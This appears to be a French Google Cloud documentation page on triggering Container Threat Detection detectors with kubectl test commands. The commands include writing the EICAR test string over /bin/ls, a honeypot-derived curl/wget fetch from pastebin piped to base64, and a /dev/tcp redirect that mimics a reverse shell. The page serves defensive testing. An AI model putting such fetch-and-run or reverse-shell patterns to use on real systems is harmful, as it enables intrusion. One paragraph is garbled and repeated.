Tester Container Threat Detection

Cette page explique comment vérifier que Container Threat Detection fonctionne en déclenchant intentionnellement des détecteurs et en vérifiant les résultats. Container Threat Detection est intégré aux niveaux Premium et Enterprise de Security Command Center. Pour afficher les résultats de Container Threat Detection, celui-ci doit être activé dans les paramètres Services de Security Command Center.

Avant de commencer

Pour détecter les menaces potentielles pour vos conteneurs, vous devez vous assurer que vos clusters se trouvent dans une version compatible de Google Kubernetes Engine (GKE). Pour en savoir plus, consultez la section Utiliser une version de GKE compatible.

Définir des variables d'environnement

Pour tester les détecteurs, vous devez utiliser Google Cloud Console et Cloud Shell. Vous pouvez définir des variables d'environnement dans Cloud Shell pour faciliter l'exécution des commandes. Les variables suivantes sont utilisées pour tester tous les détecteurs Container Threat Detection.

  1. Accédez à Google Cloud Console.

    Accédez à Google Cloud Console.

  2. Sélectionnez le projet contenant le conteneur que vous souhaitez utiliser pour le test.

  3. Cliquez sur Activer Cloud Shell.

  4. Dans Cloud Shell, définissez des variables d'environnement.

    1. Zone dans laquelle se trouve votre cluster :

      export ZONE=CLUSTER_ZONE

    2. Le projet dans lequel se trouve votre conteneur :

      export PROJECT=PROJECT_ID

    3. Le nom de votre cluster :

      export CLUSTER_NAME=CLUSTER_NAME

Les variables sont définies. Les sections suivantes incluent des instructions concernant le test des détecteurs de Container Threat Detection.

Fichier binaire ajouté exécuté

Pour déclencher le résultat d'un fichier binaire ajouté exécuté, déposez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 18.04, copie /bin/ls à un autre emplacement, puis l'exécute. L'exécution du fichier binaire est inattendue, car la copie de ce fichier ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 18.04 et que les conteneurs sont destinés à être immuables.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Déposez un fichier binaire et exécutez-le :

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run --restart=Never --rm=true -i \
--image marketplace.gcr.io/google/ubuntu1804:latest \
"$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Cette procédure de test doit créer un fichier binaire supplémentaire que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. Afficher les résultats dans Cloud Logging n'est disponible que si vous activez l'édition Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur, Container Threat Detection filtres temporaires Ajout de résultats liés à l'exécution binaire. Afficher tous les fichiers binaires ajoutés Résultats exécutés pendant la configuration d'un conteneur : préfixe du nom de votre conteneur ou le nom du pod par ktd-test, comme dans l'exemple.

Ajout de bibliothèque chargée

Pour déclencher le résultat d'une bibliothèque ajoutée chargée, déposez une bibliothèque dans votre conteneur et chargez-la. Cet exemple déploie la dernière image Ubuntu 18.04, copie /lib/x86_64-linux-gnu/libc.so.6 à un autre emplacement, puis la charge à l'aide de ld. La bibliothèque chargée est inattendue, car la copie de la bibliothèque ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 18.04 et que les conteneurs sont destinés à être immuables.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Déposez une bibliothèque et utilisez ld pour la charger :

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run --restart=Never --rm=true -i \
--image marketplace.gcr.io/google/ubuntu1804:latest \
"$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

Cette procédure de test doit créer une bibliothèque chargée supplémentaire que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. Afficher les résultats dans Cloud Logging n'est disponible que si vous activez l'édition Premium ou Enterprise Security Command Center au niveau de l'organisation.

Pour réduire le bruit, lorsque vous créez un conteneur, Container Threat Detection Filtre temporairement les résultats ajoutés à la bibliothèque chargée. Afficher toute la bibliothèque ajoutée Résultats chargés pendant la configuration d'un conteneur, ajoutez le préfixe du nom de votre conteneur ou le nom du pod par ktd-test, comme dans l'exemple.

Exécution: exécution du binaire malveillant ajouté

Pour déclencher une exécution: ajout d’un résultat de fichier binaire malveillant, supprimez un binaire malveillant dans votre conteneur et l’exécuter. Cet exemple déploie la dernière image Ubuntu 18.04, crée un fichier malveillant simulé, puis l'exécute. L'exécution du binaire est inattendu, car le binaire malveillant simulé ne faisait pas partie du image du conteneur d'origine et le binaire est un type EICAR un fichier de test classé comme malveillant par les renseignements sur les menaces.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Déposez le binaire EICAR et exécutez-le:

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run --restart=Never --rm=true -i \
--image marketplace.gcr.io/google/ubuntu1804:latest \
"$tag" -- bash -c \
"touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"

Cette procédure de test doit créer une exécution: fichier binaire malveillant ajouté que vous pouvez afficher dans Security Command Center et Cloud Logging vous avez configuré Logging pour Container Threat Detection. Affichage dans Cloud Logging ne sont disponibles que si vous activez du niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur, Container Threat Detection Filtre temporairement l'exécution: ajout de résultats liés à l'exécution de fichiers binaires malveillants. Pour voir toutes les exécutions: ajout de résultats liés à l'exécution de fichiers binaires malveillants lorsqu'un conteneur vous devez ajouter le préfixe ktd-test au nom du conteneur ou du pod, comme dans à titre d'exemple.

Exécution: exécution d'un binaire malveillant modifié

Pour déclencher une exécution: résultat de type binaire malveillant modifié, modifiez un binaire malveillant dans votre conteneur et l’exécuter. Cet exemple déploie la dernière image Ubuntu 18.04, de remplacer /bin/ls par un fichier malveillant simulé, puis de l'exécuter. L'exécution du binaire est inattendue, car /bin/ls est modifié pendant l'exécution du conteneur en tant que un binaire malveillant simulé, et le binaire est un type EICAR un fichier de test classé comme malveillant par les renseignements sur les menaces.

une EICAR testant un fichier malveillant, puis l’exécute. L'exécution du binaire est inattendu, car le /bin/ls créé est modifié lors de l'exécution du conteneur en tant que un binaire EICAR testant un binaire malveillant, et le binaire EICAR est un fichier malveillant connu selon la Threat Intelligence.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Déposez le binaire EICAR et exécutez-le:

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run --restart=Never --rm=true -i \
--image marketplace.gcr.io/google/ubuntu1804:latest \
"$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Cette procédure de test doit créer un résultat "Exécution: fichier binaire malveillant modifié" que vous pouvez dans Security Command Center et dans Cloud Logging si vous avez configuré Journalisation pour Container Threat Detection Afficher les résultats dans Cloud Logging n'est disponible que si vous activez l'édition Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur, Container Threat Detection Filtre temporairement l'exécution: résultats d'exécution de fichiers binaires malveillants modifiés. Pour voir toutes les exécutions: résultats de l'exécution de fichiers binaires malveillants modifiés lorsqu'un conteneur vous devez ajouter le préfixe ktd-test au nom du conteneur ou du pod, comme dans à titre d'exemple.

Script malveillant exécuté

Pour déclencher un résultat "Script malveillant exécuté", vous pouvez exécuter le script dans la procédure suivante dans votre conteneur.

La procédure déploie la dernière image Ubuntu 18.04, copie un script qui semble malveillante, puis l’exécute. Pour déclencher une détection, doit sembler malveillant aux yeux du détecteur.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Exécutez le script suivant dans un nouveau conteneur.

    Ce script shell bash intégré provient d'un pot de miel. Toutefois, il a été modifié afin qu’il n’exécute pas le binaire malveillant, donc l'exécution du script ne provoquera pas d'activité malveillante dans votre conteneur. Le binaire de l'URL référencée a peut-être été supprimé et a tenté à suivre l'URL génère une erreur 404. Ce comportement est normal. La tentative de télécharger, de décoder et d'exécuter un binaire à l'aide d'un qui déclenche la détection.

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
 kubectl run --restart=Never --rm=true  -i \
 --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
  -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Cette procédure de test crée un résultat de script malveillant exécuté que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. Afficher les résultats dans Cloud Logging est disponible uniquement si vous activez les éditions Premium ou Enterprise de Security Command Center.

URL malveillante observée

Pour déclencher un résultat d’URL malveillante observée, exécutez un binaire et fournissez une URL malveillante comme argument.

L'exemple suivant déploie une instance Ubuntu 18.04 et exécute /bin/curl pour accéder à un exemple d'URL de logiciel malveillant à partir de Navigation sécurisée Google Cloud.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Exécutez curl et fournissez une URL malveillante comme argument:

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   url="https://testsafebrowsing.appspot.com/s/malware.html"
   kubectl run --restart=Never --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu1804:latest \
   "$tag" -- bash -c "curl $url | cat"

Cette procédure de test déclenche un résultat "URL malveillante observée" qui que vous pouvez afficher dans Security Command Center. Si vous avez configuré Journalisation pour Container Threat Detection, dans Cloud Logging. Affichage dans Cloud Logging ne sont disponibles que si vous activez Niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Interface système inversée

Pour déclencher un résultat d'interface système inversée, démarrez un fichier binaire avec une redirection stdin vers un socket connecté TCP. Cet exemple commence /bin/echo par une redirection vers DNS public de Google 8.8.8.8 sur le port DNS. Aucun élément n'est imprimé lorsque vous exécutez cet exemple. Pour empêcher toute injection de code externe via une attaque MTIM ("man in the middle"), cet exemple n'utilise pas /bin/bash binary.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Démarrez un fichier binaire avec une redirection /bin/echo vers le DNS public de Google :

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run --restart=Never --rm=true -i \
--image marketplace.gcr.io/google/ubuntu1804:latest \
"$tag" -- bash -c "/bin/echo >& /dev/tcp/8.8.8.8/53 0>&1"

Cette procédure de test crée un résultat d'interface système inversée que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. Afficher les résultats dans Cloud Logging n'est disponible que si vous activez Niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Shell enfant inattendu

Pour tester le détecteur Unexpected Child Shell, vous pouvez créer une arborescence de processus incluant un processus de shell enfant.

L'exemple suivant crée une arborescence de processus httpd->dash, qui peut être détectée par le détecteur Unexpected Child Shell. Ce test est sûr, car il n'utilise que des binaires intégrés. Cet exemple effectue les opérations suivantes :

  1. Il crée une copie du processus bash et la nomme httpd.
  2. Il copie le processus echo et le nomme dash.
  3. Appelle le processus dash copié dans le processus httpd copié.

Pour déclencher un résultat Unexpected Child Shell, procédez comme suit:

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
 --zone $ZONE \
 --project $PROJECT

  3. Faites en sorte que le processus httpd fictif appelle une simulation de shell:

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run --restart=Never --rm=true -ti \
--image ubuntu "$tag" --command \
-- /bin/sh -c 'cp /bin/bash /tmp/httpd; cp /bin/echo /tmp/bash; \
/tmp/httpd -c "/tmp/bash child ran successfully & wait"'

Cette procédure de test crée un résultat Unexpected Child Shell que vous pouvez dans Security Command Center. Si vous avez configuré Logging pour Container Threat Detection et vous avez activé Security Command Center Premium ou Entreprise au niveau de l'organisation, vous pouvez afficher dans Cloud Logging.

REMARQUE:La partie & wait de la commande de test ci-dessus est importante. La version Preview publique du détecteur de shell enfant inattendu ne peut capturer que les processus parents qui fork, puis exec un nouveau shell. Si le signe "&" la partie "wait" de la commande est omise, le détecteur ne pourra pas capturer l'événement.

Étape suivante